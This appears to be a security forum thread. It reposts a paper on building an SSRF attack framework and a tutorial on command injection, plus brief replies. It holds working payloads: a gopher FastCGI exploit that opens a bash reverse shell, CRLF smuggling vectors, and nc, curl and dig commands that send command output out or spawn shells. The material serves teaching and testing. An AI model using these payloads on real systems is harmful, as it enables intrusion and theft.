xenonxsc

-dublu post inutil-

Abstract Server Side Request Forgery (SSRF) is known to every security researcher for a long time. However, because its exploitation always depends on the vulnerabilities in the intranet rather than the target itself, its damage is ignored by many researcher. The ignorance leads to the lack of SSRF attack tools. But we should not belittle this attack, there are many examples of gaining intranet control through SSRF (For example, Wooyun identifier: WooYun-2015–0163792, WooYun-2015–099070). To help security research utilizes the vulnerability, this research would propose details to implement a SSRF attack framework. Summary: This paper proposes detailed implement of every process: SSRF probe, Intranet host/port scanning, supported protocol probe, and automatic exploitation. I will use a server to record HTTP request, which helps me to ensure if a server visits the specified site. Additionally, we will present how to use SSRF as a proxy. In a proxy mode, attacker can compose other tools like W3af, sqlmap, and Burpsuite. With the above features, we can release the full power of SSRF. 1 Introduction 1.1 Brief introduction of Server Side Request Forgery Imagine you have a worker who helps you carry goods from the factory. If the worker does not check whether the good belong to you, you can ask him/her to bring out others’ goods. The servers with Server Side Request Forgery (also known as SSRF or XSRF) vulnerability just act like those careless workers. They typically help user to fetch files or images, but would not check the destination. So, attacker can ask the server to give back resource from the private network. Thus, the server might become the proxy of attacking intranet. Hacker can utilize it to bypass firewall or NAT to enter private network, as a result, the vulnerabilities (e.g. PHP Fast-CGI unauthorized request, which allows user to execute PHP code) in private network might be exploited. Otherwise, hackers might use protocol like file:// to achieve local system’s files(e.g. /etc/passwd, which stores password in Linux operation system) ,or DDoS (Den of Service) internal network. Here is a picture to illustrate how SSRF works [1]: To be more concrete, we can imagine there is a server will fetch an image for us. Consider the following code: <?php if (isset($_POST['url'])) { $content = file_get_contents($_POST['url']); $filename ='./images/'.rand().';img1.jpg'; file_put_contents($filename, $content); echo $_POST['url']; $img = "<img src=\"".$filename."\"/>"; } echo $img; ?> User will send a URL via POST method, and the server fetches the image and displays it. What if we send an intranet address to the server to it? We can get the content in private network from the returned image! In this way, we can bypass firewall. Despite some special cases (file protocol, PHP protocol), SSRF won’t influence the vulnerable itself. Alternatively, hacker uses it as a jump server to access private network. Thus, the vulnerabilities in intranet determine the damage of one SSRF attack. 1.2 Current Problems Consequently, to utilize SSRF, you need to detect the internal network. What’s worse, if the response merely contains HTTP status rather than detailed content, it’s difficult for us to exploit the attack without any tools. Unfortunately, there is no killer application in current SSRF exploitation software. Even Skanda [3], a SSRF exploitation tool provided by OWASP ( Open Web Application Security Project), merely supply limited functions including detecting SSRF vulnerability and scanning local ports. Yin Wang, also known as ringzero, has proposed SSRF automatic exploitation technique in Wooyun summit 2016. He only mentioned the possible scene that might occur SSRF and the current vulnerabilities available to be applied in SSRF attack. But his report neglected the importance of information gathering and protocol smuggling. This is far from enough. As an attacker, we need to know the information as much as possible, such as all the living IP addresses in the internal network. In some cases, the server with SSRF might only indicate whether the URL is reachable, therefore, we need to find some ways to gather their fingerprints (sensitive data that might leak the information (such as operation system, web framework) of a server, to use correct payloads (a special request that allow attacker to control the server or get protected data) . When the server is able to give us the response from private network’s host, we want to use better tools to scan intranet. Then, our SSRF can be set as a proxy to transfer data from scanner to target. What’s more, SSRF might be used as an anonymous agent to help us attack other server and hide own footprints. To implement such functions, we need to create a new SSRF framework. And there are many questions left to us: how can we get the intranet layout fastest, how do get the most precise fingerprints when server merely do not give us content from other hosts, and what protocol we can use to maximize our attack surface? In the remaining chapter, I would propose an overall introduction about my design and use some tricks to solve the mentioned problems. 2.Method 2.1 Classification of SSRF Before we enter the topic of exploitation, we need to classify SSRF and find out each type’s property. After observing many cases, we separate SSRF to five types: content based, bool based, error based, blind based, and special SSRF. Different type of SSRF has distinctive damage degree. And those types can be assorted to two cases — direct or indirect SSRF. 2.1.1 Direct SSRF Attackers can confirm whether server has visited an address by the first three types of SSRF. The first term, content based, means that the body of server’s response would contain the content of the URL you specified. Bool based SSRF [4] would not return content, it merely contain the HTTP status code. When the specified URL is unreachable, the server would send back a status code, such as 404 (Web page not found), 500 (Server has internal error), to tell clients that the URL is invalid to request. Because we can directly know which URL the server has visited and the unreachable URL, these three are easier for scripts to detect automatically. Content based and error based SSRF are exploitable in most cases. 2.1.2 Indirect SSRF Not all the servers will contain error code when the destined host is down , but one thing in common is that they will keep trying many time before connection is closed. Thus, we can use the difference in time to confirm whether a host is alive: when the server takes much longer time to response, we can infer that the specified host is not up. Blind based SSRF is the most difficult type to exploit, because attackers cannot know if he or she sends payloads successfully. Special type refers to those uncommon SSRF. For example, a server might return “true” in the body of response when sending request successfully, otherwise, it gives us a “false”. This seems like an error based SSRF, but they are totally different. However, this example only happens in ideal environment. In a real network, it’s highly possible that we need to filter out some noise made by the server in response’s body. For instance, it might send back JSON in following format: {"url":"example.com", "acces":"false"} So, we need to confirm the part reflecting server status and filter a whole lot data. Error based SSRF, however, would merely give us HTTP status code, which is in a fixed range. What’s worse, some might include variable data like current time in their HTTP body. As a result, filtering will be an extremely difficult task for out program. To solve the problem, I will mention a technique called “tamper”, which allows attackers to apply own method to filter data according to their requirements. Time based and blind SSRF are almost unexploitable, because we can not estimate if our requested URL is reachable. Content based SSRF, however, needs user to implement “tamper” (mentioned later) to help framework know if a URL is reachable. 2.2 Probe SSRF Before exploiting, we need to whether a server has SSRF. For most cases, attacker specifies URL as the payload, sending it to the target through HTTP GET parameter or HTTP POST data (we will use the term ‘SSRF vector’ to refer them in the remaining article). We will replace every parameters to the specified URL and test the response. Please notice that our payload should be URL encoded, on the other hand, its special characters (such as ‘?’ and ‘#’) might cause our request malfunction. For instance, if the target had SSRF in URL http://target.com/?u=xxURLxx, and the xxURLxx is the SSRF vector. When we want it to connect http://example.com/?id=1&allow=yes and replace it to xxURLxx, the request becomes: http://target.com/?u=http://example.com/?id=1&allow=yes. So, the server will receive two parameters: id and allow (RFC 3986). Of course, if security researcher has identified SSRF manually, they can state the place of SSRF vector by specifying xxURLxx in GET parameter or POST data. 2.2.1 Basic Probe We have introduced the assortment of SSRF, in this chapter, we will identify method of probing this vulnerability. Basic probe only indicate whether a server has SSRF, but won’t classify its type. We set up several servers and enable wildcard DNS and HTTP records. The attack framework would ask target to send several request to our server, and the domain follow such format: <a 10 digital random number>.ourdomain.net . The ten digital number is a unique id for our target, we will match it with our server’s record to identify a server. If the target does visit to our site, its DNS record and HTTP request will be stored. Then, the framework will connect to our server and use the random number to check whether our target has visited to it. 2.2.2 Advanced Probe After the finishing previous process, attacker can use advanced probe helps security researcher to identify the specific type of SSRF. At the beginning, our framework will send invalid URL ( malformed schema, invalid address, unreachable port, and etc.) to detect whether server will response error code. After the process, we will give invalid address as the target of server’s request. Readers should notice that detecting error-based needs to be prior to the time-based. We found that some error based SSRF would also spend a lot of time when connecting to unreachable port before responding an error code. Thus, it’s necessary to detect error based SSRF first. To confirm a content based SSRF, our framework would ask the server to retrieve a specific file in our server. Once the returned data includes the whole content in the file, we can confirm the SSRF is content based. 2.3 Scan the Intranet One of the most crucial function for SSRF is attacking the Intranet. Before we exploit it, we need to know the running hosts and their address. The private IP segments ranged from 10.0.0.0 –10.255.255.255, 172.16.0.0–172.31.255.255 , to 192.168.0.0–192.168.255.255 (RFC 1918), which have more than 17000000 IPs. However, user can utilize DNS zone transfer or find leaked information. But such tasks are not easy to be done automatically, we need user to exploit them himself/herself. Requesting the target to access IP one by one is an impossible task. Thus, our scanner merely detect single IP or a network segment specified by user. To increase the speed, we scan a list of common ports occupied by common application rather than all ports. Here is part of our ports (the upper one is port number, the lower one is correspondent service name): PortService22SSH80Http Server443HTTPS21FTP6379Redis Besides popularity, we will consider whether a service supports text-based protocols. If it does, it will be easier for us to customize server’s request (The reason will be mentioned in chapter 2.4). Protocols can extent the attack surface of SSRF. The most classical example is using file protocol to retrieve password directly (e.g. file:///etc/shadow). What’s more, attackers can utilize gopher protocol to compose arbitrary text based request [5]. Thus, finding out supporting protocols is important for exploiting targets. Here is a list of exploitable protocol concluded by Yin Wang [6]: file:// — Accessing local filesystem http:// — Accessing HTTP URLs ftp:// — Accessing FPP URLs php:// — Accessing values I/O stream data:// — Data Protocol(RFC 2397) phar:// — PHP Archive gopher:// — A protocol designed for dictionary based menu dict:// — Dictionary Protocol Figure 3: Example protocols However, not all the protocols can attacker apply. Some might be filtered by the firewall, other might not support by programming language. How do we match port with its protocol? Basically, we can change the schema of URLs and inspect the response (HTTP status code, time, and response body) from the server, and our SSRF vector becomes the following format: <current schema>://url:ports If the the response code is normal in error-based SSRF; or filled with context in context-based SSRF, we can confirm whether a protocol is supported by the host. Detecting all the supported schema for every port is inefficient. Thus, we would match a port with its default protocol first, (e.g. HTTP matches port 80, ftp matched port 24). After that, our framework tests the remaining protocols. 2.4 How to Send Custom-Build Request In the previous part of the paper, I have mentioned that SSRF enables us to let target send request to a specific URL and return response to us. We can simply use the server to send GET request. However, we can merely control the URL, the remain parameters (e.g. cookies, user-agent, and post data) are generated by server. Unfortunately, we need to add or modify these parameters in some cases. For instance, a CMS (Content Management System) in the intranet has SQL injection vulnerability when parsing the header of a HTTP request. What we control is merely the URL, how can we add header? CRLF injection [7] will be quite useful here. CRLF injection allows us to send Carriage-Return (ASCII 13, \r) Line-Feed (ASCII 10, \n), which is used to terminate a line of HTTP request. Moreover, each parameters is separated line by line in a HTTP response. 2.4.1 Using CRLF injection to add HTTP parameter By injecting encoded CRLF to URL, we can add new parameters to server side’s request. We will use the picture to illustrates the process : //Attacker's request GET ?url=http://example.com/%0d%0aRefeerer:localhost Host:www.target.com ... //Server's request GET http://example.com Referer:localhost ... Figure 4: Add parameters by CRLF injection Imagine that www.target.com has SSRF vulnerability, we ask it to visit URL http://example.com/%0d%0aRefeerer:localhost. In this URL, %0d%0a is the URL encoded charsets of CRLF. When the server is parsing the URL, %0d%0a will be automatically decoded to carriage-return and line-feed symbols. Thus, we get a new line with our custom-build parameter (the Referer). This phenomenon happens in all decoding process that lack of checking characters. CRLF is not all-purpose, some server might not parse URL encode, while the other will filter out CRLF characters. To detect CRLF, we place a CRLF followed by random number at the end of our server’s URL and ask our target to request the special URL. Once we found additional CRLF and previous random number, we can ensure if it has CRLF injection. Despite CRLF injection in HTTP, we can utilize other protocols to construct more powerful payload, which will be mentioned in 2.8.3 . 2.4.2 Use CRLF injection to smuggle other protocols Exactly, we can smuggle one protocols to transform them to different protocols. Orange Tsai has provided a list of protocols that are suitable to smuggle [9], which include: HTTP Based:Elastic, CouchDB, MongoDB, Docker Text-based protocol Text Based:FTP, SMTP, Redis, Memcached These protocols enable attackers to transform them to exploitable protocols by adding encodes. For example, if there is a SMTP server without authentication in the intranet, we can construct following SSRF vector: https://address%0D%0AHELO evil.com%0D%0AMAIL FROM...:25/ The SMTP would receive: GET / HOST:address:25 HELO evil.com MAIL FROM... Although the first two lines are invalid for SMTP protocols. But the next two line will make the server send forged mail (use forged identification evil.comin mail). When we received the mail with the forged identification, we can assume that the port is open and occupied by a SMTP server. 2.5 Content Based SSRF Exploitation Content based SSRF provides attackers the clearest view of what server retrieve. Thus, we can get the fullest fingerprints of the Intranet. From server’s response, security researcher may manually find out SQL injection, remote commands execution, and so on. But implement every vulnerabilities testing tools in our framework is a time consuming job, it also betrays the rule of K.I.S.S (Keep It Simple, Stupid). Thus, our framework forwards data to existing vulnerability exploitation tool, which acts like a proxy. 2.5.1 SSRF proxy HTTP has five method: GET, POST, HEAD, TRACE, PUT, DELETE, OPTIONS, and CONNECT. Normally, it’s only possible to let server use GET method by specifying a URL. When the request body in POST method merely contains parameters, GET and POST request are transferable, although it’s still possible to be rejected by certain servers. How could we support as many parameters as possible? One way is CSRF injection, but it might cause HPP (HTTP Parameter Pollution ). For instance, if the server has a specific user agent to request web sites, and we want to add own user agent, it will emerge following consequence (parameter u is a SSRF vector): //Attacker's request GET ?url=http://example.com/%0d%0aUser-Agent:Chrome Host:www.target.com //server's request GET http://example.com user-agent:Chrome user-agent:Python URLlib Figure 5:Add UA through CRLF Some server might reject HPP request, while other accept. After extending request method and parameters, we can set HTTP proxy for other tools. Face to large amount of requests, we decide to enable multi-thread to handle requests. 2.5.2 Debate: Whether we should filter data from the proxy In many cases, the target would not return the same data when they fetch response from SSRF vector. Consider following code: <?php { $content = file_get_contents($_GET['url']); echo 'We visited: '.$_GET['url']; } echo $content; ?> Figure6: Sample PHP code The response would not only return content, but an extra line We visited: <current URL> . This line is not supposed to be occurred from the SSRF vector’s response. Those tools using our proxy might not get the most accuracy response, but we still believe that it’s necessary to keep these extra context. Extra context typically brings us extra attack surface. Let’s look back Figure 6. The page will echo a user-controlled data without filtering. And this cause a reflected XSS. Attacker can put http://evil.com/<script>alert(1)</script> to validate it. To conclude, eliminating extra contexts is not good for discovering extra attack surface. 2.6 Error Based SSRF Exploitation Attacker cannot get content from error based SSRF. Consequently, it is unlikely to use other tools helping us get data. What we only know is whether the server has successfully accessed a URL. It means that neither can we use vulnerabilities in response bodies nor the interactive payloads. Therefore, only by requesting specific path can we infer the Web service or framework. These paths are unique in different Web framework or service. For instance, if we can access path /jmx-console/ , /invoker/JMXInvokerServlet, the host has a high possibility of running JBOSS. If we can confirm a host’s framework, it give us a chance to use a public payloads to attack it. However, the payload can only be GET or POST method, otherwise we cannot send correct request. And during the exploiting process, the payload does not need to use content from the server’s response. Although we give a whole lot restrictions, there are still many exploitable payloads in error based SSRF [8]: Bug IDDescriptionS2–045Struts Deserialization VulnerabilityPACKETSTORM:131185JBoss JMXInvokerServlet Remote Command ExecutionN/ACounchDB WEB API Remote Command ExecutionS2–048Struts Remote Command Execution Figure 7: Sample vulnerabilities Of course, these payloads can also be applied to context based SSRF. Although server cannot send back context it self, we can use let the server do DNS or HTTP request to take out data from the vulnerable server. 2.7 Using Non-HTTP Protocols to Exploit 2.7.1 File Protocol We have detected a number of protocols in the previous part. Besides hacking the Intranet, SSRF give us chances to access server’s file system directly. We can try fetching /etc/passwd and /etc/shadow. Moreover, attackers can access /proc to get other sensitive information like running application, machine hardware details, and so on. The SSRF attack framework stores a list of the location of sensitive files, and uses them as SSRF vector to get as much information as possible. 2.7.2 Gopher Protocol Composing gopher and SSRF is like giving attacker a proxy with few restriction. Gopher gives attackers maximum extent of interacting different protocols, because it accepts URL encode (so it’s possible to have CSRF injection) and does not have any headers or response body (there won’t be any HPP). If we find text based protocol like Redis or Fast-CGI, we can construct special gopher request to attack them. For instance, if our scanner detects a Fast-CGI service in the port 9000 of intranet host 192.168.0.5. Then, we can use following payload in our SSRF vector: gopher://192.168.0.5:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR192.168.0.5%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/YourHost/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00 It’s obvious that manually constructing a payload is complicated. The attack framework helps attacker generate and encode payloads by auto-encoding, keyword replacing, and vulnerabilities detecting. 3 Result and Discussion We use several Python Libs (socketsever, urllib, httpserver, random, time, re ) to implement the tool. It can detect and exploit properly as previous chapter proposes. However, the proxy will delay 1 second more than the direct request, this might prolong the scanning time for scanners. Also, the collected fingerprints are limited, some vulnerabilities might be missed in the intranet ,we still need to spend time expanding fingerprint lib. Now, we merely finish a HTTP based SSRF attack framework. In other cases that might occur SSRF, like XML parsing engine or database, we have not created a tool to support their exploitation. These special SSRF require us to use different encodes. Time based SSRF and blind SSRF can only give us limited information, we do not have an appropriate method to exploit them yet. Furthermore, we need to design API (Application Interface) for secondary development to meet different purposes. Our framework cannot recognize charsets automatically. When the response from SSRF vector needs specific charset to be displayed, browser using the proxy will show messy codes, which interfere us finding leaked information. Despite SSRF from servers, browser [10] and reverse proxy [11] have such bugs, too. We haven’t discussed them, yet. Constructing attack framework for them will be totally different (e.g. You need to change the DNS record to trick target connecting to intranet address). 4 Conclusion In this paper, we analyze different types of SSRF and methods to exploit them. What’s more, each chapter also reminds readers some possible problems such as encoding. The framework aims to help security researcher find and utilize SSRF in a simpler way. We believe more SSRF vulnerabilities will be eliminated by this tool. Source :

Oricum nu ai cum sa scoti XSS acolo cel putin nu cu vectorul ala. http://test.playready.microsoft.com/service/rightsmanager.asmx?cfg=<ceva> este default blocat de ASP. In schimb te poti lauda cu un Self XSS in rst daca dai link-ul cu vectorul in el

macOS . (Poti sa faci un poll )

A command injection is a class of vulnerabilities where the attacker can control one or multiple commands that are being executed on a system. This post will go over the impact, how to test for it, defeating mitigations, and caveats. Before diving into command injections, let’s get something out of the way: a command injection is not the same as a remote code execution (RCE). The difference is that with an RCE, actual programming code is executed, whereas with a command injection, it’s an (OS) command being executed. In terms of possible impact, this is a minor difference, but the key difference is in how you find and exploit them. Setting up Let’s start by writing two simple Ruby scripts that you can run locally to learn finding and exploiting command injection vulnerabilities. I used Ruby 2.3.3p222. Below is ping.rb. puts `ping -c 4 #{ARGV[0]}` This script will ping the server that’s being passed to the script as argument. It will then return the command output on the screen. Example output below. $ ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms As you can see, it executed ping -c 4 8.8.8.8 and displayed the output on the screen. Here’s another script that will be used in the blog post: server-online.rb. puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no' This script will determine whether the server is online based on an ICMP response (ping). If it responds to the ping request, it’ll display yes on the screen. In case it doesn’t, it’ll display no. The output of the command isn’t returned to the user. Example output below. $ ruby server-on.rb '8.8.8.8' yes $ ruby server-on.rb '8.8.8.7' no Testing One of the best ways to detect a first-order command injection vulnerability is trying to execute a sleep command and determine if the execution time increases. To start with this, let’s establish a time baseline for the ping.rb script: $ time ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.09s user 0.04s system 4% cpu 3.176 total Notice that executing script takes about 3 seconds. Now let’s determine if the script is vulnerable to a command injection by injecting a sleep command. $ time ruby ping.rb '8.8.8.8 && sleep 5' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.10s user 0.04s system 1% cpu 8.182 total The script will now execute the command ping -c 4 8.8.8.8 && sleep 5. Notice the execution time again: it jumped from ~3 seconds to ~8 seconds, which is an increase of exactly 5 seconds. There can still be unexpected delays on the internet, so it’s important to repeat the injection and play with the amount of seconds to make sure it’s not a false positive. Let’s determine whether the server-online.rb script is vulnerable, too. $ time ruby server-online.rb '8.8.8.8' yes 0.10s user 0.04s system 4% cpu 3.174 total $ time ruby server-online.rb '8.8.8.8 && sleep 5' yes 0.10s user 0.04s system 1% cpu 8.203 total Again, the baseline shows executing a normal request takes about 3 seconds. Adding && sleep 5 to the command increases the time to 8 seconds. Depending on the command being executed, the sleep command may be injected differently. Here are a few payloads that you can try when looking for command injections (they all work): time ruby ping.rb '8.8.8.8`sleep 5`' When a command line gets parsed, everything between backticks is executed first. Executing echo `ls` will first execute ls and capture its output. It’ll then pass the output to echo, which displays the output of ls on the screen. This is called command substitution. Since execution of the command between backticks takes precedence, it doesn’t matter if the command executed afterwards fails. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8`sleep 5` sleep command executed, command substitution works in command line. ping -c 4 "8.8.8.8`sleep 5`" sleep command executed, command substitution works in complex strings (between double quotes). ping -c 4 $(echo 8.8.8.8`sleep 5`) sleep command executed, command substitution works in command substitution when using a different notation (see example below). ping -c 4 '8.8.8.8`sleep 5`' sleep command not executed, command substitution does not work in simple strings (between single quotes). ping -c 4 `echo 8.8.8.8`sleep 5`` sleep command not executed, command substitution does not work when using the same notation. time ruby ping.rb '8.8.8.8$(sleep 5)' This is a different notation for command substitution. This may be useful when backticks are filtered or encoded. When using command substitution to look for command injections, make sure to test both notations to avoid true-negatives in case the payload is already being substituted (see last example in table above). time ruby ping.rb '8.8.8.8; sleep 5' Commands are executed in a sequence (left to right) and they can be separated with semicolons. When a command in the sequence fails it won’t stop executing the other commands. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8;sleep 5 sleep command executed, sequencing commands works when used on the command line. ping -c 4 "8.8.8.8;sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8;sleep 5) sleep command executed, sequencing commands works in command substitution. ping -c 4 '8.8.8.8;sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8;sleep 5` sleep command executed, sequencing commands works in command substitution. time ruby ping.rb '8.8.8.8 | sleep 5' Command output can be piped, in sequence, to another commands. When executing cat /etc/passwd | grep root, it’ll capture the output of the cat /etc/passwd command and pass it to grep root, which will then show the lines that match root. When the first command fail, it’ll still execute the second command. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8 | sleep 5 sleep command executed, piping output works when used on the command line. ping -c 4 "8.8.8.8 | sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8 | sleep 5) sleep command executed, piping output works in command substitution. ping -c 4 '8.8.8.8 | sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8 | sleep 5` sleep command executed, piping output works in command substitution. Exploiting To exploit the vulnerability for evidence is to determine whether it’s a generic or blind command injection. The difference between the two, is that a blind command injection doesn’t return the output of the command in the response. A generic command injection would return the output of the executes command(s) in the response. The sleep command is often a good proof of concept for either flavor. However, if you need more proof, execute id, hostname, or whoami and use the output as additional proof. The server’s hostname is useful to determine how many servers are affected and help the vendor to get a sense of impact faster. Important: needless to say, most companies don’t appreciate you snooping around on their systems. Before exploiting the vulnerability to pivot into something else, ask permission to the company. In nearly all situations proving that executing arbitrary but harmless commands like sleep, id, hostname or whoami is enough to proof impact to the affected company. Exploiting generic command injection This is usually pretty straightforward: the output of any injected command will be returned to the user: $ ruby ping.rb '8.8.8.8 && whoami' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms jobert The red part shows the output of the ping command. The green text the output of the whoami command. From this point, you can gather evidence for your proof of concept. Again, stick to harmless commands. Exploiting blind command injection With blind command injections the output isn’t returned to the user, so we should find other ways to extract the output. The most straightforward technique is to offload the output to your server. To simulate this, run nc -l -n -vv -p 80 -k on your server and allow inbound connections on port 80 in your firewall. Once you’ve set up the listener, use nc, curl, wget, telnet, or any other tool that sends data to the internet, to send the output to your server: $ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80' yes Then observe a connection being made to your server that shows the output of the hostname command: $ nc -l -n -vv -p 80 -k Listening on [0.0.0.0] (family 0, port 81) Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225) hacker.local In the example above, nc is used to send the output of the command to your server. However, nc might be deleted or unable to execute. To avoid going down a rabbit hole, there are a few simple payloads to determine if a command exists. In case any of the commands increase the time with 5 seconds, you know the command exists. curl -h && sleep 5 wget -h && sleep 5 ssh -V && sleep 5 telnet && sleep 5 When you’ve determined a command exists, you can use any of those commands to send the output of a command to your server, like this: whoami | curl http://your-server -d @- wget http://your-server/$(whoami) export C=whoami | ssh user@your-server (setup the user account on your-server to authenticate without a password and log every command being executed) Even though the server-online.rb script doesn’t output the result of the hostname command, the output can be sent to a remote server and obtained by an attacker. In some cases, outbound TCP and UDP connections are blocked. It’s still possible to extract the output in that case, we just have to do a little bit more work. In order to extract the output, we have to guess the output based on something that we can change. In this case, the execution time can be increased using the sleep command. This can be used to extract the output. The trick here is to pass the result of a command to the sleep command. Here’s an example: sleep $(hostname | cut -c 1 | tr a 5). Let’s analyze this for a moment. It’s executing the hostname command. Let’s assume it returns hacker.local. It’ll take that output and pass it to cut -c 1. This will take the first character of hacker.local, which is the character h. It passes it to tr a 5, which will replace the character a with a 5 in the output of the cut command (h). The output of the tr command is then passed to the sleep command, resulting in sleep h being executed. This will immediately error, since sleep can only take a number as first argument. The goal is then to iterate over the characters with the tr command. Once you execute sleep $(hostname | cut -c 1 | tr h 5), the command will take 5 seconds longer to execute. This is how you determine that the first character is an h. Once you guessed a character, increase the number you pass to the cut -c command, and repeat. Here’s a table with the commands to determine the output: Command Time Result ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)' 8s h ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)' 8s a ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)' 8s c To determine how many characters you need to guess: pipe the output of hostname to wc -c and pass that to the sleep command. hacker.local is 12 characters. The hostname command returns the hostname and a new line, so wc -c will return 13. We established that normally, the script takes 3 seconds to complete. $ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)' yes 0.10s user 0.04s system 0% cpu 16.188 total The payload above shows that the script now takes 16 seconds to complete, which means the output of hostname is 12 characters: 16 - 3 (baseline) - 1 (new line) = 12 characters. When executing this payload on a web server, know that the output may change: the length of the hostname could change when requests are handled by different servers. The technique above works fine for smaller outputs, but can take a long time for reading a file. Some of the following methods can be pretty intrusive, so always make sure the company gave you a thumbs up to use more invasive extraction methods. In case outbound connections are blocked and the output is too long to read, here are a few other tricks to try (useful during CTFs): Run a port scan on the server and based on the exposed services, determine a way to extract the output. FTP: try writing the file to a directory you can download files from. SSH: try writing the output of the command to the MOTD banner, then simply SSH to the server. Web: try writing the output of the command to a file in a public directory (/var/www/). Spawn a shell on a port that can be reached from the outside (only available in custom netcat build): nc -l -n -vv -p 80 -e /bin/bash (unix) or nc -l -n -vv -p 80 -e cmd.exe (windows). Do a DNS query with dig or nslookup to send the output to port 53 (UDP): dig `hostname` @your-server or nslookup `hostname` your-server. Output can be captured with nc -l -n -vv -p 53 -u -k on your server. This may work because outbound DNS traffic is often allowed. Check out this tweet how to offload file contents with dig. Change the ICMP packet size when pinging your server to offload data. tcpdump can be used to capture the data. Check out this tweet how to do this. There’s plenty of other ways, but it often depends on what kind of options the servers gives you. The technique shown above are most common when exploiting command injection vulnerabilities. The key is to use what you have to extract the output! Defeating mitigations Sometimes mitigations have been put in place, which may cause the above techniques not to work. One of the mitigations that I’ve seen over the years, is a restriction on whitespace in the payload. Luckily, there’s something called Brace Expansion that can be used to create payloads without whitespace. Below is ping-2.rb, which is the second version of ping.rb. Before passing the user input to the command, it removes whitespace from the input. puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}` When passing 8.8.8.8 && sleep 5 as argument, it’d execute ping -c 4 8.8.8.8&&sleep5, which will result in an error showing that the command sleep5 isn’t found. There’s an easy workaround by using brace expansion: $ time ruby ping-2.rb '8.8.8.8;{sleep,5}' ... 0.10s user 0.04s system 1% cpu 8.182 total Here’s a payload that sends the output of a command to an external server without using whitespace: $ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... Or to read /etc/passwd: $ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. ... Whenever a command is being executed with user input mitigations have to be put in place by the developer. Developers take different routes to implement mitigations, so it’s up to you to discover what they did and how to work around them. Happy hacking! Jobert. Source :

Probabil se aplica la utilizatorii care au trecut recent la high sierra, deoarece eu am trecut de ceva timp si nu pot sa reproduc ,,exploit-ul'' . Foarte urata gafa comisa de apple, daca intradevar e o gafa ( greu de crezut ) !

What is the main purpose of security.txt? The main purpose of security.txt is to help make things easier for companies and security researchers when trying to secure platforms. Thanks to security.txt, security researchers can easily get in touch with companies about security issues. https://securitytxt.org/ https://github.com/securitytxt/securitytxt.org/ The idea of EdOverflow.

O lista cu referinte catre blog-uri ce contin write-up-uri despre bug-uri gasite in companii ce au un program bug bounty. https://github.com/ngalongc/bug-bounty-reference

